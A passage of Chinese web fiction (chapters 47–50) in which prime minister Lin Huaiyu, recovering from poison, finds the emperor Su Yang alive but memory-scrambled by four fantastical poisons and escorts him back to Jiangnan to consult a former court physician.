于思还没来得及辩解,林怀玉又吐了一口鲜血,他好似停不下来,一直在吐血,那鲜血发紫,似乎连带着把毒一起吐出来了。 季无忧看得心惊肉跳,林怀玉的吐血没有要停下来的征兆,他抬头看向于思,剑直接架在了对方的脖颈上:“说!怎么回事?!” 于思无奈:“我还没来得及说话呢,你这拔剑的速度可真快。” “等他把毒血都吐出来了毒就解了,不过,他毒入心脉,一时半会吐不完,你要是想让他快点好,不如现在把剑放到他的手上,划一刀,帮他放放血。” 季无忧皱眉:“他有这么多血可以吐吗?这么多,真的不会死吗?” 林怀玉吐的血尽数洒在地板上,看得季无忧直怕,怕林怀玉就这么吐血吐尽死了。 于思道:“不会,他吐的差不多了就会停,不过之后他还是会时不时吐血,没事的,只要他吐出来的血变成鲜血正常的颜色,就说明毒彻底解了。” 季无忧半信半疑:“不行,我得盯着你,他毒彻底解开之前,你不准离开我的视线。” 于思不可置信地看着他:“那他要是这毒血排一个月,我这一个月哪都不能去了?” 季无忧点头:“没错!” 于思抿着唇,挑了一下眉头,他那屋子里可还有一个人呢。 也不知道那个叫宿泱的死透了没有。 第47章 第 47 章 宿泱他疯了 天色透亮, 犹如一整块清透湖蓝的玉石,层层白云点缀,好似云山。 林怀玉醒来的时候, 身侧季无忧守着他:“你醒了?!” 林怀玉动了动手指,他身上的疼痛没有减弱, 毕竟鲜血流经全身, 他的毒积弊已久,一时不可能全部排出去, 体内两种毒素好似在争锋,而他的身体则是战场。 林怀玉忍着痛强行撑起身子,转头却看见了于思, 他有点诧异对方竟然还在, 难道是准备等他彻底好了再走吗? 对方看着不像是这种好心的。 季无忧看着林怀玉,知道他在想什么, 解释道:“我不让他走,我怕他骗人。” 林怀玉轻轻摇了摇头, 他现在不论做什么动作都是疼的。 “他没必要骗人, 他如果准备耍赖, 宿泱试完毒他就不用来找我了。”林怀玉的声音有些低哑。 于思点点头, 附和道:“你看, 我说吧。” 季无忧轻哼了一声:“我就是不放心,我昨天看到你吐血, 都给我吓死了。” 林怀玉能感觉到自己身上的疼,也能感觉到自己吐的血其实混着毒, 他抬眸看向于思,问的却是:“宿泱呢?” 于思移了移目光:“我不是说了吗,这都一晚上过去了, 应该死透了吧。” 林怀玉费力地从床上起来,道:“死了我也要亲眼看看,带我去。” 于思却没有动,即便林怀玉的眼神冷如寒霜,他也没有屈服:“不行。” 林怀玉眸光一凝,紧紧盯着于思:“不行?一个已经死了的人,为何不能让我看?还是说,你瞒着我要对他做别的事?又或者他没有死?” 于思皱着眉头“啧”了一声,林怀玉的压迫感太强,但他明明也没有做那些事,没必要心虚,他烦躁道:“不是,没有那些事,只不过我答应了那个宿泱……” 林怀玉继续逼问:“答应他什么?” “哎呀!”于思破罐子破摔,道,“我那可是四种剧毒!每一种都能让人生不如死,他虽然抗住挺到了第四种,但整个人……毒发又不好看的,他说他不想那个丑样子被你看见,所以叫我把他关起来,等他死了给他收个尸埋了。” 林怀玉闻言,脸色又苍白了些许,他没多话,直接朝外走去。 “哎哎哎!”于思想追,却被季无忧拦住,“你还拦我干嘛?” 季无忧道:“他肯定是要去找宿泱。” 于思点头,疑惑:“我知道啊,所以你拦我干什么呢?你不应该拦他吗?” 季无忧摇头:“我不拦他,他是肯定要见到宿泱的,宿泱不只是……普通人,不可能随随便便埋了的。” 于思眉头一挑:“他是谁啊?” 季无忧没说话,只是拉着于思不让他走。 林怀玉很快便赶到了于思的住处,他推门而入,里面没有人的痕迹,只有架子上一堆瓶瓶罐罐,他四下望了望,这屋子里种了许多植物,不少箱子里都关着于思养的小宠物,蜈蚣、蜘蛛、蛇等等。 可除了这些,其他什么也没有,这儿也没有挣扎的痕迹,宿泱既然毒发,应当不会这么平和。 于思说把他关起来…… 林怀玉朝着里面走去。 果然,他看到了一扇紧闭的房门,门上上了锁,但里面似乎很安静。 不会……真的死了吧…… 林怀玉眸光落了落,一刹那,他的呼吸似乎都带着些许颤抖。 他拿起锁看了看,没有于思的钥匙打不开,但指望于思来给他开门显然不太可取。 林怀玉皱了皱眉头,扫了一眼周身,直接抄起一根棍子,准备把锁砸烂。 木棍扬起来的时候,林怀玉的动作大,身上更疼了,但他活要见人死要见尸,非得亲眼看一看。 那锁却没那么容易被砸坏,林怀玉疼得吐了一口血,带着毒素的鲜血落在地上,似乎吸引了旁边的“小宠物”。 林怀玉瞥了一眼,没有理会,继续砸锁。 暗处有一条蛇紧紧盯着林怀玉,在林怀玉看不见的地方朝着他靠近。 那蛇吐了吐信子,看准时机便飞速朝林怀玉扑了过去。 千钧一发之际,冷冽的寒光一闪而逝,将那条蛇劈成了两半。 林怀玉听到声音,转头看到赶来的季无忧和于思。 “啊!!!我的小粉红!”于思看到那条粉色的蛇被砍成两半惨不忍睹的模样,嘶吼了起来。 季无忧一脸嫌弃地看着把蛇抱进怀里的人。 林怀玉脱了力,木棍落在了地上,他转头问于思:“钥匙在哪?” 于思满脸伤心和不甘:“我答应他了的,我不知道!” 他话音刚落,季无忧的剑再次架在了于思的脖子上:“钥匙!” 于思:“我!不!给!” 季无忧气笑了,把剑抬了起来,吓得于思闭上了眼。 哐当一声。 疼痛并没有落到他的身上,季无忧把剑劈向了房门的锁上,直接将那把锁劈开。 林怀玉推开门,屋子里并没有看到人,他环视了一周,进到屋子里,转头便看到房门旁边的墙角靠着那道熟悉的身影。 宿泱的身上全是血,额头上被糊满了鲜血,鲜血顺着他的脸往下淌,将他的面容都遮挡了,口中也满是鲜血溢出,身上的鲜血都浸透了衣袍,地上也全是血。 林怀玉看到了墙上的血痕,那痕迹一看便是宿泱受不了折磨,拿头撞墙的痕迹。 宿泱此刻静静地靠坐在墙边,若不是满身的鲜血,仿佛那些折磨都不存在。 林怀玉蹲了下来,望着宿泱,眸光缓缓落在了宿泱的胸口,他盯了许久,忽的眼前一亮。 宿泱的胸口还有微弱的起伏! 那起伏很小,小到如果不凑近看,根本看不到。 林怀玉“唰”地站了起来:“他还活着!” 于思震惊地望了过来:“他还活着?!” 他飞速奔了过来,搭上了宿泱的脉,良久难以置信道:“这人命可真大,我那四种都是这世间难得一见的剧毒!没想到这四种毒让他撑到了最后,竟然形成了一种相互制衡的关系……” 林怀玉看向于思,问:“什么意思?他不会死?” 于思摇头:“也不是,只不过这四种毒能够在他体内形成一种特殊的平衡,他只是暂时不会死,但什么时候他体内的这种平衡被打破了,那他也就会毒发身亡了。” 他说完,又话锋一转:“不过,就算他暂时保住了命,体内的毒也会影响他。” 林怀玉蹙眉:“他会如何?” 于思想了想,道:“大概……会神志不清吧,有时候还会很痛苦,精神和身体的双重折磨,就像昨晚那样,不过应该也不会天天都如此。” 林怀玉蹙眉:“神志不清……” 这样的病,若是被有心之人知道,对于一个帝王来说,那是巨大的威胁。 林怀玉顿时看向了季无忧。 季无忧一愣,随即连忙道:“我发誓!我绝对不会说出去的!” 林怀玉又看向了于思。 于思眨了眨眼:“我也发誓。” 虽然他不知道为什么这么严重,但他也不是那种喜欢嚼舌根的人。 “帮我把他带回客栈。”林怀玉看向季无忧。 季无忧点头,立刻去扶宿泱,路上他看着林怀玉,笑着道:“玉溪先生,我能也叫你原本的名字吗?” 林怀玉没想到季无忧会说这个,他原本化名只是为了防宿泱和京城的人,如今倒是不需要了,于是点头:“随你。” 季无忧笑着试探叫道:“怀玉?” 林怀玉垂眸,应了一声。 季无忧笑得更高兴了:“你这名字可真好听。” 林怀玉看了他一眼:“无忧这名字也很好听,给你取这个名字的人一定希望你开心快乐。” 季无忧眼睛一亮,如同黑夜里的星辰,他点头:“我母亲给我取的,怀玉,你再喊一声我的名字吧,你喊我的时候可真好听。” 林怀玉正要开口,季无忧扶着的宿泱突然抽搐了一下,脑袋正好撞到了季无忧的脑袋。 季无忧吃了痛,龇牙咧嘴的:“你干什么?!” 但宿泱并未真的醒来,自然也不会理他。 林怀玉望着被血浸泡的宿泱,眸光一沉。 得尽快找到梵尘,或者回江南找何清沥。 季无忧将宿泱放到床上,抱怨道:“他可真沉。” 林怀玉道:“你去洗个澡吧,他身上都是血,沾到你身上了。” 季无忧点点头:“行,你身子不好,也先休息一下吧。” 房门被关上,林怀玉这才缓缓靠近宿泱,他伸出一只手,十分缓慢地伸到宿泱的鼻子下,探了探对方的鼻息。 和那人胸口的起伏一样微弱,几乎探不到。 林怀玉起身走到门外,他四下看了看,凝声道:“出来。” 无人应答。 林怀玉深吸一口气,冷声道:“你的主子都成这样了,你还不出来?” 房梁上落下来一道黑影,他跪在林怀玉身前,道:“林大人。” 林怀玉道:“你去给他洗个澡换身衣服。” 暗卫愣了一下,眼底闪过一丝震惊,但他得听命令,于是道:“是。” 林怀玉想了想,还是出了门,他走一会儿歇一会儿,寻了个大夫往客栈领。 于思他不放心,这里的大夫其实他也不怎么放心,但一时半会儿也找不到能够给宿泱看一看身体状况的人了。 他领着大夫走着,大夫看他这模样,不放心道:“要不……我还是先给你看看吧?” 林怀玉顿了顿,道:“不用。” 大夫只好闭嘴。 两个人回到客栈,季无忧似乎同人动了手,看到林怀玉来,连忙跑到林怀玉身侧,在他耳边低声道:“怀玉,宿泱他疯了!” 第48章 第 48 章 他竟然觉得林怀玉可爱…… 风暖天清, 回廊里那一阵轻风吹起众人的衣袍,也吹起林怀玉的长发。 林怀玉转头看向了另一边,只见宿泱换回了一身玄色的大雍衣袍, 神色阴鸷,他站在那里, 压迫感迎面扑来, 竟比此前强大许多,让人喘不过气来。 宿泱的眼神中有轻蔑, 有平静,却也少了很多东西。 林怀玉在那一瞬间感觉到,面前站着的宿泱, 似乎有些不一样。 他看上去甚至没有一点中毒的样子, 明明他离开之前,宿泱浑身是血, 奄奄一息,尚在昏迷。 “他怎么了?”林怀玉低声询问季无忧。 季无忧摇了摇头:“我也不太清楚, 他好像不认识我了, 不对, 也不是不认识我, 但对我的态度和之前完全不一样了, 就好像……怎么形容呢,就好像他知道有我这个人, 但他没真的加过我接触过我。” 林怀玉听着,眉心一点点拧着。 “陛下。”暗卫落在宿泱的身侧, 等着宿泱下一步的命令。 宿泱的目光却落在林怀玉的身上,他没有理会暗卫,而是对着林怀玉开口:“大雍的丞相为什么和大楚的七皇子这般交好?林怀玉, 你不应该站在朕的身侧吗?” 宿泱一开口林怀玉便更加觉得不对劲,他看着对方,问:“你是谁?” 宿泱闻言,轻轻笑了一声:“朕是谁?你觉得呢?” 林怀玉又问:“我是谁?” 宿泱望着林怀玉,只觉得对方莫名:“你是大雍的丞相啊,林怀玉。” 两个问题,足够林怀玉确认宿泱究竟哪里不对劲了。 宿泱虽然记得他,但似乎不记得他们之间曾经的那种感情。 不论是师徒,又或者别的…… 这就是于思所说的神志不清吗? 这个疑问,季无忧也有:“他这是神志不清吗?我看他好得很,他这是……记忆丢失?或者记忆混乱?” 林怀玉轻轻吐出一口气:“也许吧。” 季无忧皱眉:“那他这得持续多久啊?这也不算彻底好吧,毒还在他体内,他后面会变成什么样子?” 林怀玉只能道:“不知道。” 宿泱似乎没什么耐心待在这里,问林怀玉:“林相还不准备回京都吗?” 林怀玉垂眸,宿泱的毒还不知道究竟是什么情况,即便林怀玉不想回京都,此刻却放心不下宿泱以这种状况回到京都。 他走到宿泱面前,道:“陛下可否先随臣去一趟江南。” 宿泱挑眉,俯视着林怀玉:“为何?” 林怀玉不知道这会儿该不该告诉宿泱中毒的事,真要讲起来太过麻烦,但不讲……也有诸多麻烦。 他想了想,还是道:“江南水患一事还有些未曾完工的收尾项目,途径江南,陛下不亲自去看一眼吗?” 宿泱思索了一下,道:“既然如此,那便去一趟吧。” 林怀玉被季无忧拉到一边,问:“怎么办?他这个模样,也不知道算是正常还是不正常。” 林怀玉摇头:“终究不是长久之计,可他体内四种剧毒又不知该如何解开。” 季无忧抿唇:“于思交给我吧,我会一直盯着他的。” 林怀玉轻轻颔首:“那便拜托你了。” 季无忧笑开:“别跟我那么客气,你要是真想感谢我,下次我去大雍找你,你别再让我睡树上了。” 林怀玉也轻笑了起来:“我定扫榻以待。” 他们在这边说着,宿泱的目光一直望着林怀玉,见到那人眉眼柔和,轻声笑着,忽然觉得这抹笑美丽又刺眼。 “走了。”宿泱丢下两个字,同暗卫走下楼。 林怀玉同季无忧告别,跟着宿泱离开大楚。 马车还是原来的马车,但这会儿,宿泱已经先行一步坐在了马车上,林怀玉进去的时候,宿泱似笑非笑的目光落在了他的身上。 马车内部已经换了一副模样,那些垫着的软垫都被撤走,只剩下冰块还放着,大概是宿泱嫌那些软垫太热。 林怀玉靠着角落坐下,离宿泱有些距离,马车缓缓驶向江南的方向。 林怀玉不知道为什么,宿泱的目光一直落在他的身上,似是在打量他,半晌,林怀玉抬眸对上宿泱的视线,问:“陛下是有什么事吗?” 宿泱饶有兴致道:“林相私下里似乎与朝堂上不太一样。” 林怀玉眉头轻扬:“何处不同?” 宿泱支颐着下颌,道:“说不上来,只是朕在朝堂上不曾仔细看过林相,现在一看,原来林相竟是个美人。” 林怀玉垂眸:“陛下何故调侃臣。” 宿泱低笑了一声,拍了拍身侧的位置,道:“林相,坐近一些。” 林怀玉问:“为何?” 宿泱见他不动,眸光轻轻眯了起来:“天子口谕,你敢不从?” 林怀玉抿唇,只好起身挪了挪位置,倒是没有坐到宿泱身侧,而是坐到了离宿泱比较近的角落。 宿泱没有说话,只是自己靠近林怀玉,在林怀玉耳边俯身道:“江南水患,同林相是否有关?” 林怀玉一愣,他的耳边是宿泱说话间轻轻吹出来的风,痒得他想躲:“臣不明白陛下的意思。” 宿泱低笑道:“此处只有你我二人,林相何必装傻呢?” 林怀玉明白了,宿泱这会儿的记忆大概还在他手握大权的时候,而他们二人之间没有了师徒情谊,在宿泱的眼中,他便也成了祸乱朝纲的佞臣。 林怀玉扯了扯嘴角:“臣的手还不至于伸到江南去吧。” 宿泱却道:“若是朕没有记错,林相可是江南人士啊,新科状元方知许是你的学生,亦是江南人士,你说呢?” 林怀玉冷了脸,道:“陛下若是不信臣,大可拿出证据,臣听从陛下发落。” 宿泱闻言,笑了起来:“林相,你看你,怎么如此不经逗,朕不过是同你开个玩笑罢了。” 林怀玉抿唇,现在的宿泱,连他都有些摸不清性子。 方才宿泱字里行间都是试探,转头却又说只是玩笑,这样的脾气,倒是和先帝有些相像。 林怀玉还没开口,马车似乎又经过了那段比较颠簸的路,马车一震,他整个人撞到了车壁上,手臂发麻,林怀玉轻哼了一声,还没来得及反应,又是一个重心不稳,朝另一边跌进了宿泱怀里。 宿泱却抬起了手,并未顺势将林怀玉带进怀里,反而十分疏离,饶有兴致地看着林怀玉:“林相可要坐得稳当一些。” 林怀玉还没说出话来,喉间猛地涌上一股腥甜,鲜血从他口中吐出,落在马车上,宿泱眉头一挑,看着林怀玉眼底闪过一丝疑虑:“林相的身子怎么回事?” 林怀玉闻言,眸光一抬,他从宿泱的怀里起来,故意道:“臣中了毒。” 宿泱看向他,神色未变:“哦?什么毒?” 林怀玉道:“臣的体内有四种剧毒,每一种都足够要人性命,但它们又在臣体内相互制衡,臣毒发的时候,或许会神志不清,或许会记忆混乱,或许会头痛欲裂,又或许吐血不止。” 宿泱:“这天底下竟有这样的毒?回头让何掌院给你瞧瞧。” 林怀玉看着宿泱淡然平静的神色,眸光一凛:“那臣便多谢陛下。” 宿泱忽然伸手,指腹在林怀玉的唇角碾了碾,低声道:“你没有骗朕,这深紫色的血果然是带着剧毒。” 林怀玉瞥了一眼宿泱指腹上沾染的鲜血。 他体内的毒还没有排干净。 林怀玉身子还没恢复,在马车里坐着不舒服,便躺了下来,宿泱瞥了他一眼,没有说话。 但很快,林怀玉觉得马车太硬,他十分不舒服,翻来覆去险些掉下去。 宿泱睁开眼看他:“林相?” 林怀玉半梦半醒间,声音有些哑:“陛下?” 宿泱忽然想起临行前让人撤掉的软垫。 原来那是林怀玉准备的,他嗤笑了一声,看着林怀玉,道:“朕竟然不知,林相是个如此娇气的人。” 林怀玉这会儿没力气应付宿泱。 他正要再换个姿势,一件柔软的东西垫到了他的脑袋下面,林怀玉转头一看,是宿泱脱了外袍叠成了枕头,垫到他的脑袋下面来。 林怀玉抬眼看向宿泱,宿泱只道:“林相既然中了毒,身子不适,朕自然该照拂一二,毕竟,你可是大雍的肱股之臣。” 林怀玉没说什么,枕着宿泱的衣袍再度睡下。 宿泱却没再休息,而是盯着林怀玉,落下了唇角的弧度。 他看着林怀玉好一会儿,眉头轻轻蹙了起来。 下一秒他朝着林怀玉靠近,伸出一只手,那手缓缓探向了林怀玉的脖颈。 五寸,三寸,一寸…… 宿泱的指尖已经碰上了林怀玉的肌肤,然而林怀玉却毫无反应。 直到宿泱彻底捏住林怀玉的脖颈,对方也毫无动静。 宿泱的眼底闪过一丝不解。 林怀玉睡在他身侧,竟然如此不设防? 就不怕他对林怀玉忽然出手? 他捏着林怀玉的脖颈但没有用力,只是虚虚握着,林怀玉的皮肤很软也很滑,他握着那一截纤细的脖颈,竟不由自主地想把玩起来。 许是按到了林怀玉的喉结,林怀玉轻哼了一声,宿泱仿佛突然惊醒,松开了林怀玉的脖子。 他刚刚在想什么?他不想着捏死林怀玉,竟然在想这佞臣的脖颈手感如此舒服?! 林怀玉“啧”了一声,转头不再看林怀玉。 大楚的夏季不算太热,夜里的风甚至带了点凉意,从外面吹进来,抚过宿泱的面庞。 他再度睁开眼,看向林怀玉,对方果然将自己蜷成了一团。 宿泱抿了抿唇,又脱下一件衣服盖在了林怀玉的身上。 他刚刚竟然从这个佞臣的身上看到了可爱…… 他一定是疯了。 第49章 第 49 章 朕的心上人是谁? 烈日如同大火烘烤, 马车缓缓驶入霞雨镇,又重新回到了江南,热意升腾着, 仿佛要将人间蒸发。 这八日来,林怀玉一直观察着宿泱, 可对方没有任何不适, 也没有什么特别的表现,好似不曾中毒一般, 可惜他不通医理,没法亲自给宿泱把脉一探究竟。 “林相?”宿泱忽的开口,打断了林怀玉的思绪。 林怀玉抬眸对上宿泱那带着些许笑意的眉眼, 问:“陛下?” 宿泱轻叹了一声, 状似有些为难道:“林相都盯了朕一路了,朕的脸上是有什么东西吗?” 林怀玉收回了目光:“没有, 臣只是……看陛下有些不同。” 宿泱挑眉,他看林怀玉才不同, 林怀玉在朝堂上冷若冰霜, 没成想私底下竟是这样一副模样, 倒让他觉得新奇。 “朕有何不同?”宿泱顺着他问。 林怀玉道:“陛下较之以往, 长大不少。” 他从前觉得, 宿泱像个小孩子,任性妄为, 胡乱吃醋,不管后果, 但如今有了些距离感,反倒感觉,宿泱正经了不少。 记忆混乱还能让人一夜之间成熟吗? 宿泱闻言, 却笑了:“这话说的好似林相了解朕小时候似的。” 林怀玉眸光一凝,果然宿泱的记忆里现下没有他教导宿泱的那一段记忆。 林怀玉笑了笑,没有再说话。 马车缓缓停下,林怀玉见宿泱不动,便先下去,宿泱从马车里出来,居高临下望着林怀玉,眉头一挑:“林相好不懂规矩。” 林怀玉看着他,十分自然道:“这都要我扶,陛下莫非体虚?” 林怀玉说完便后悔了,但话已出口无法更改,宿泱倒是没生气,只是看着林怀玉眼中多了一分戏谑。 他跃下马车,走到林怀玉的面前,两人不过一寸距离,故意可闻:“林相好大的胆子。” 林怀玉只得垂眸:“臣不敢。” 宿泱笑道:“那朕可是见识到了林相口不应心的模样呢。” 林怀玉见宿泱不打算轻易略过这个话题,只好又道:“请陛下责罚。” 宿泱看着林怀玉,对方那张绝世的面容就算是他也为之心动,那浓密的睫毛在林怀玉的眼下投下一片阴影,宿泱道:“责罚?” 他摇了摇头,道:“林相可是两朝元老,朕怎么忍心责罚林相呢。” 他说完,牵起了林怀玉的手:“走吧,进城。” 林怀玉一愣,跟在宿泱身后,一同进了霞雨镇。 客栈还是那家客栈,宿泱和林怀玉一进去,小二便道:“二位又来了?” 宿泱眸光落在对方身上:“你认识我?” 小二笑着道:“您二位气质不凡,相貌堂堂,小的想忘记都难啊,这次还住店吗?” 宿泱颔首。 小二立刻拿出牌子:“上房一间。” 宿泱抬眸:“我们有两个人,为何只给我一间房?” 小二解释道:“哎,小的看您上回也不住自己屋子里,就站在那位公子的房门口站着,还以为您二位就住一间呢。” 宿泱眉头轻扬,转头看向了林怀玉,林怀玉刚要上前要两间房,宿泱却拿着牌子道:“好啊,那就一间。” 林怀玉见宿泱已经拿着牌子往楼上走,他便没再说什么,跟着上楼。 林怀玉一进门,宿泱便转身问他:“朕与林相来过这里?” 林怀玉反问:“你不记得?” 这么近的记忆都能缺失,这记忆混乱究竟是怎么乱的?还是缺失了某些相关的记忆? 比如……和他有关的? 不对,宿泱也并没有忘记他,只是忘记了那份感情。 宿泱挑眉:“朕为什么会记得并未做过的事?” 林怀玉特地道:“陛下与臣一同微服南巡,陛下怎么会不记得?” 宿泱的目光紧紧锁着林怀玉,林怀玉的神色不似作假,但他更相信自己的记忆,有人想要凭空塞给他一段记忆。 宿泱嗤笑了一声,朝林怀玉逼近:“林相可知欺君之罪?” 林怀玉被宿泱逼到了门上,那压迫感瞬间笼罩住了他,他道:“微臣是否欺君,陛下可以回京都问问赵襄宜和方知许。” 宿泱却道:“如果朕没记错,这两个人与林相都有着千丝万缕的联系。” 林怀玉轻轻蹙眉:“那陛下也可以问问德福公公。” 宿泱的眸光停了停,德福是他的贴身总管,是他的心腹,不可能为林怀玉撒谎,林怀玉既然能搬出德福,想来没有骗他。 微服南巡…… 只为了一个水患吗? 这似乎不像是他的做事风格。 “既然是南巡,那就出去走走吧。”宿泱抬手正准备开门。 林怀玉下意识闭上了眼睛。 宿泱饶有兴致地看着林怀玉这个反应:“你是在怕朕打你?” 林怀玉见宿泱推开了他身后的房门,神色一顿,往旁边挪了一步:“没有。” 宿泱却追着问:“朕打过你吗?” 林怀玉抿了抿唇,他这会儿说有,宿泱肯定不信。 宿泱见他不答,心底越发疑惑,又问:“朕处置过林相吗?” 林怀玉道:“陛下不是要南巡吗?咱们出去看看吧。” 宿泱看着林怀玉转身就走,轻笑了一声。 转移话题如此生硬,这样的林怀玉……还真是少见。 林怀玉同宿泱走在街上,那日头正晒,林怀玉怕热,可又是他把宿泱带出来的,自然不能再多说什么。 他只能往前走着,对宿泱道:“霞雨镇之前刚有祈雨祭礼,晚上的灯会倒是十分漂亮。” 林怀玉正说着,忽然觉得头顶一暗,他抬头,只见一把青色油纸伞在他上方撑开。 宿泱在旁边的摊位上顺手买了把伞遮阳:“朕听说过祈雨祭礼,和京都的祭典没什么区别。” 林怀玉听着宿泱相同的话,轻笑了一声,宿泱就算记忆混乱,也没忘记自己不信神鬼之说。 宿泱的目光骤然落在了林怀玉的浅笑上,那抹笑不似在京都的时候疏离淡漠,像是一张面具挂在脸上,一点也不真实。 现下的林怀玉反而多了些随性的感觉,若不是知道这人心思深沉,他恐怕真会以为,林怀玉只是个温柔清冷的美人。 两人并肩在街上走着,忽然迎面走来一个带着斗笠帷幔的女子,他走到宿泱面前,似是有些惊讶:“你居然还在这里。” 宿泱瞥了她一眼:“我们认识?” 那女子点头:“对啊!我在祈雨祭礼那天给你送过花,想找媒人跟你说媒呢,可是你说你有心上人了,怎么你都没带你的心上人出门呢?还是说……还没娶到?” 宿泱眯了眯眼:“我和你说我有心上人了?” 那女子用力地点了点头:“对啊!所以……你成亲了吗?” 宿泱心思微动,余光瞥了一眼林怀玉,摇头:“并未。” 那女子问:“她不喜欢你?那不如……再考虑一下我?” 宿泱摇了摇头,道:“我既然已经有心上人了,姑娘就不要浪费心思在我身上了。” 那女子又一次被拒绝,却也不恼,笑了一声:“你还挺痴情的,既然如此,告辞了。” 宿泱等那女子离开,瞥向林怀玉:“林相能告诉朕,朕的心上人是谁吗?” 林怀玉轻咳了一声:“臣怎么会知道。” 宿泱笑了:“既然那店小二说是朕与你一起来的,那这霞雨镇的事,你应该知道才对。” 林怀玉道:“臣不知。” 宿泱扬眉:“是不知,还是不愿说?” 林怀玉停了步子,问:“陛下想知道什么?” 宿泱望着他,只问:“朕的心上人是谁?” 林怀玉冷着脸,道:“自然是白大将军之女,白见青。” 宿泱轻轻皱起了眉头,似乎在思索这个名字对应的人,片刻道:“朕在秋猎见过她,是个女中豪杰。” 林怀玉垂眸应了一声,自己往前走。 宿泱便跟着他:“但朕并不喜欢她。” 林怀玉一愣:“你……陛下曾自己亲口承认的。” 宿泱深深地看了林怀玉一眼:“林相究竟是哪里听来的谣言?朕与白将军之女不过一面之缘,谈什么喜欢不喜欢的?朕若是真喜欢她,这么多年都没个动静吗?” 这回轮到林怀玉费解了,宿泱没必要骗他,为什么当时说自己喜欢白见青,甚至要立后呢? 现在的宿泱也没必要骗他,但宿泱如今记忆混乱,恐怕也不记得自己喜欢白见青了。 林怀玉没再说话。 宿泱却停了步子,见林怀玉还在往前走,将伞一立,勾住了林怀玉往自己的方向带。 林怀玉被猝不及防地扯回去,脚下不稳,朝后面跌去。 下一秒,有人从后面接住了他,宿泱闷声笑道:“林相真是,弱不禁风。” 林怀玉扶着宿泱站稳,淡淡道:“臣一时没有站稳。” 宿泱抬了抬眉,仅仅抱了一下,他能感觉到,林怀玉很瘦,他不禁道:“林相平日里的俸禄被扣了吗?” 林怀玉不知道对方怎么突然问起这个:“不曾,怎么?” 宿泱道:“既然不曾,林相怎么如此消瘦?不好好吃饭吗?” 林怀玉一愣,随即道:“臣此前生了一场大病,如今还没好全,让陛下见笑了。” “病了?”宿泱望着林怀玉,“朕怎么不知道?” 林怀玉摇了摇头:“区区小事,怎敢让陛下挂怀。” 宿泱道:“林相可是我大雍的中流砥柱,你的身体怎么会是小事?” 他说着,拉着林怀玉朝医馆走去。 林怀玉连忙道:“不用了,陛下,臣已经快好了。” 宿泱步子停也没停:“胡说,你在马车上还吐血了。” 林怀玉眸光一顿,望着宿泱急匆匆的背影,不禁无奈。 宿泱如今还关心起他来了。 第50章 第 50 章 臣早就不是大雍的丞相了…… 黄昏的霞光又是那样浓烈, 仿佛有七彩祥云将天边团团围绕,那光景明艳动人,众人纷纷言是吉兆。 林怀玉同宿泱回了客栈, 只开了一间房,林怀玉想了想, 在桌边坐下, 没有一点去床榻上的打算。 宿泱看出林怀玉的心思,浅笑着拍了拍床上或许并不存在的灰尘:“客栈里没那么干净, 林相,劳烦你替朕铺个床。” 林怀玉只好起身,替宿泱扯好被子:“明日还有一天的路程, 陛下早些休息。” 他正要重新坐回桌子边上, 忽的被宿泱扯住,对方的力道稍大, 林怀玉直接跌在了床上:“陛下?” 宿泱淡淡道:“朕睡不惯外边的床,你躺着吧。” 林怀玉看着宿泱心口不一的模样, 忽的笑了一声。 宿泱不动声色地看了林怀玉一眼, 对方这副笑意盈盈的模样, 比上那淡漠的假笑要生动太多, 他喜欢看林怀玉真情实感笑起来的样子。 “你笑什么?”宿泱问。 林怀玉望着宿泱, 问他:“陛下想将床让给臣,为何不直接说?” 宿泱眸光一顿, 缓缓移开目光:“你要是不想睡床上,那就来坐着好了。” 林怀玉没动:“那陛下呢?” 宿泱眉梢轻扬, 在桌子边坐下:“朕不困。” 林怀玉没说话,脱了鞋子,又脱了外袍, 只剩一件中衣,他坐在床上,继续道:“陛下千金之躯,怎么能这样熬一宿呢?这床不小,两个人睡也无妨,不过若是陛下嫌弃臣不愿同睡,臣也不勉强。” 宿泱听着林怀玉的话,转头朝他望去,却见床榻上的人身形单薄,那中衣套在林怀玉的身上,贴着身形,微微显露出一截腰身,许是脱衣服的时候将系带带散了,林怀玉正在重新系上。 宿泱瞥见了那一晃而过的雪色,眸光一顿,明明林怀玉同他势同水火,可这几日与对方接触下来,却发觉林怀玉这人似乎和他之前记忆中的林怀玉不太相同。 甚至……他对林怀玉还有一些别的情绪。 他起身缓缓走到床榻边,俯视着林怀玉:“林相对朕的态度,是不是超过了君臣之间该有的距离?” 林怀玉不甘示弱:“陛下难道不是吗?” 宿泱一愣,回忆了一下这几天对林怀玉的态度,虽然夹杂着试探,但确实,他对林怀玉超过了君臣之间的关心。 可这没来由的关心究竟是从什么时候开始的,他竟然无处查询。 或许……是在大楚客栈回廊里的那一眼? 林怀玉同那七皇子亲密耳语令他心头产生的一丝不爽。 宿泱微微皱起了眉头。 林怀玉看着宿泱一言不发,重新走回去坐下,无声地笑了起来。 若是从前的宿泱,恐怕早就已经上床了,而现在,宿泱竟然还能坐回去。 果真是没了那份感情。 这毒可真是够混乱的。 林怀玉见状便不再多言,在床上躺下,独自享受着床上的美梦。 第二日一早,两人便出发了,一日的时光飞速流转,林怀玉跟着宿泱进了县衙。 曲堂一看宿泱和林怀玉来,连忙迎了出来:“玉溪先生,您怎么来了?这位大人还没回京都?” 宿泱没有开口,他这一句已经问了太多次“你认识朕”,他已经察觉出不对劲,要么林怀玉买通了这一路上的人陪他演戏,要么……他丢了一段记忆。 前者,林怀玉虽然手段多,但还没有这样手眼通天的本事。 后者,实在是匪夷所思,大楚之行,他是受了伤撞到脑袋了吗? 林怀玉先开口:“小许已经回京都了?” 曲堂点头:“是啊,你们走的当天,小许也启程了,先生,你是不知道,他那天哭的稀里哗啦的,抱怨说你不等他,说好了要给你送行的,结果你抛下他就走了。” 林怀玉笑着瞥了宿泱一眼,他知道那天宿泱故意起了早把他叫醒,故意赶在方知许来给他送行之前离开。 宿泱,就是故意的。 宿泱感受到林怀玉的目光,转头同他对视,眼中好似在问,笑什么? 林怀玉收回了目光,道:“我们刚从大楚回来,顺道看看水患的收尾工作。” 曲堂点点头:“原来是这样,那先生您的身子,好了吗?” 林怀玉浅笑道:“快好了。” 曲堂松了口气:“那就好,那就好!” 林怀玉和宿泱走在街道上,宿泱看着林怀玉若有所思。 林怀玉只好问:“陛下是有话要问臣?” 宿泱点头:“林相似乎很熟悉这里?” 林怀玉垂眸:“还好。” 宿泱嗤了一声:“林相有事瞒着朕,对吗?” 林怀玉无奈道:“陛下同臣去见一个人,到时候就知道了。” 宿泱问:“谁?” 林怀玉领着他已经走到了宅邸门口,他道:“太医院前任掌院,何清沥。” 